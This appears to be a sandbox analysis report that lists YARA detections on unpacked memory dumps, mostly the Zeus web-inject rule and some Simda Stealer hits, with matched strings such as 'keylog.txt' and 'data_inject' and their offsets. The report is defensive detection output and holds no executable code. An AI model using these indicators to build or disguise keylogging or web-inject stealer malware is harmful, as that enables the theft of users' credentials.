2.3.svchost.exe.b00000.28.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
11.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ea2000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.33.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.45.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.21.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.f380000.11.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.881000.5.raw.unpack	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
2.3.svchost.exe.881000.5.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4c7f4:$a1: name=%s&port=%u 0x4bfc8:$a2: data_inject 0x4c17c:$a3: keylog.txt 0x4be5d:$a4: User-agent: %s]]] 0x4c944:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.14.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.38.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.20.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.886000.4.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x463f4:$a1: name=%s&port=%u 0x45bc8:$a2: data_inject 0x45d7c:$a3: keylog.txt 0x45a5d:$a4: User-agent: %s]]] 0x46544:$a5: %s\%02d.bmp
24.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.24f2000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.d30000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.cd2000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.40.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.29.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.52.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.36.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.b00000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.45.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.881000.1.raw.unpack	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
2.3.svchost.exe.881000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4c7f4:$a1: name=%s&port=%u 0x4bfc8:$a2: data_inject 0x4c17c:$a3: keylog.txt 0x4be5d:$a4: User-agent: %s]]] 0x4c944:$a5: %s\%02d.bmp
0.2.UMwpXhA46R.exe.406400.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x477f4:$a1: name=%s&port=%u 0x46fc8:$a2: data_inject 0x4717c:$a3: keylog.txt 0x46e5d:$a4: User-agent: %s]]] 0x47944:$a5: %s\%02d.bmp
16.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2af2000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
39.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.cd2000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.56.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.886000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x477f4:$a1: name=%s&port=%u 0x46fc8:$a2: data_inject 0x4717c:$a3: keylog.txt 0x46e5d:$a4: User-agent: %s]]] 0x47944:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.8.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.2.svchost.exe.2cd1c00.5.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.12.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.27a0000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
2.3.svchost.exe.881000.5.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4b3f4:$a1: name=%s&port=%u 0x4abc8:$a2: data_inject 0x4ad7c:$a3: keylog.txt 0x4aa5d:$a4: User-agent: %s]]] 0x4b544:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.49.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.26.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1240000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
21.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2ca0000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
2.2.svchost.exe.29f3c00.3.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.d580000.10.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
9.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.a20000.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x47df4:$a1: name=%s&port=%u 0x475c8:$a2: data_inject 0x4777c:$a3: keylog.txt 0x4745d:$a4: User-agent: %s]]] 0x47f44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.34.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.886c00.0.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11e2000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
0.3.UMwpXhA46R.exe.708de8.0.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.50.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.16.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.15b0000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.49.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.3c40000.17.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.886c00.0.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.23.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
36.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1552000.1.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
19.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.11d2000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.b00000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.53.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
7.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.fe2000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.2.svchost.exe.400000.0.unpack	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
2.2.svchost.exe.400000.0.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4c7f4:$a1: name=%s&port=%u 0x4bfc8:$a2: data_inject 0x4c17c:$a3: keylog.txt 0x4be5d:$a4: User-agent: %s]]] 0x4c944:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.14.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.53.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.19.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.25.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.21.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.39.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
33.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.2672000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
30.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.25f2000.1.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.50.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.47.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
27.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.3040000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.2.svchost.exe.29a2000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.7.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.d580000.10.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.8.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.43.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.22.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.44.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
6.2.PMnAVsjMPucERAKEWNFImySCFHoLk.exe.1240000.2.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.46.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.2d30000.16.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
0.3.UMwpXhA46R.exe.7031e8.2.raw.unpack	JoeSecurity_SimdaStealer	Yara detected Simda Stealer	Joe Security
0.3.UMwpXhA46R.exe.7031e8.2.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x4c7f4:$a1: name=%s&port=%u 0x4bfc8:$a2: data_inject 0x4c17c:$a3: keylog.txt 0x4be5d:$a4: User-agent: %s]]] 0x4c944:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.52.raw.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x46bf4:$a1: name=%s&port=%u 0x463c8:$a2: data_inject 0x4657c:$a3: keylog.txt 0x4625d:$a4: User-agent: %s]]] 0x46d44:$a5: %s\%02d.bmp
2.3.svchost.exe.b00000.31.unpack	Windows_Trojan_Zeus_e51c60d7	Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature.	unknown	0x459f4:$a1: name=%s&port=%u 0x451c8:$a2: data_inject 0x4537c:$a3: keylog.txt 0x4505d:$a4: User-agent: %s]]] 0x45b44:$a5: %s\%02d.bmp
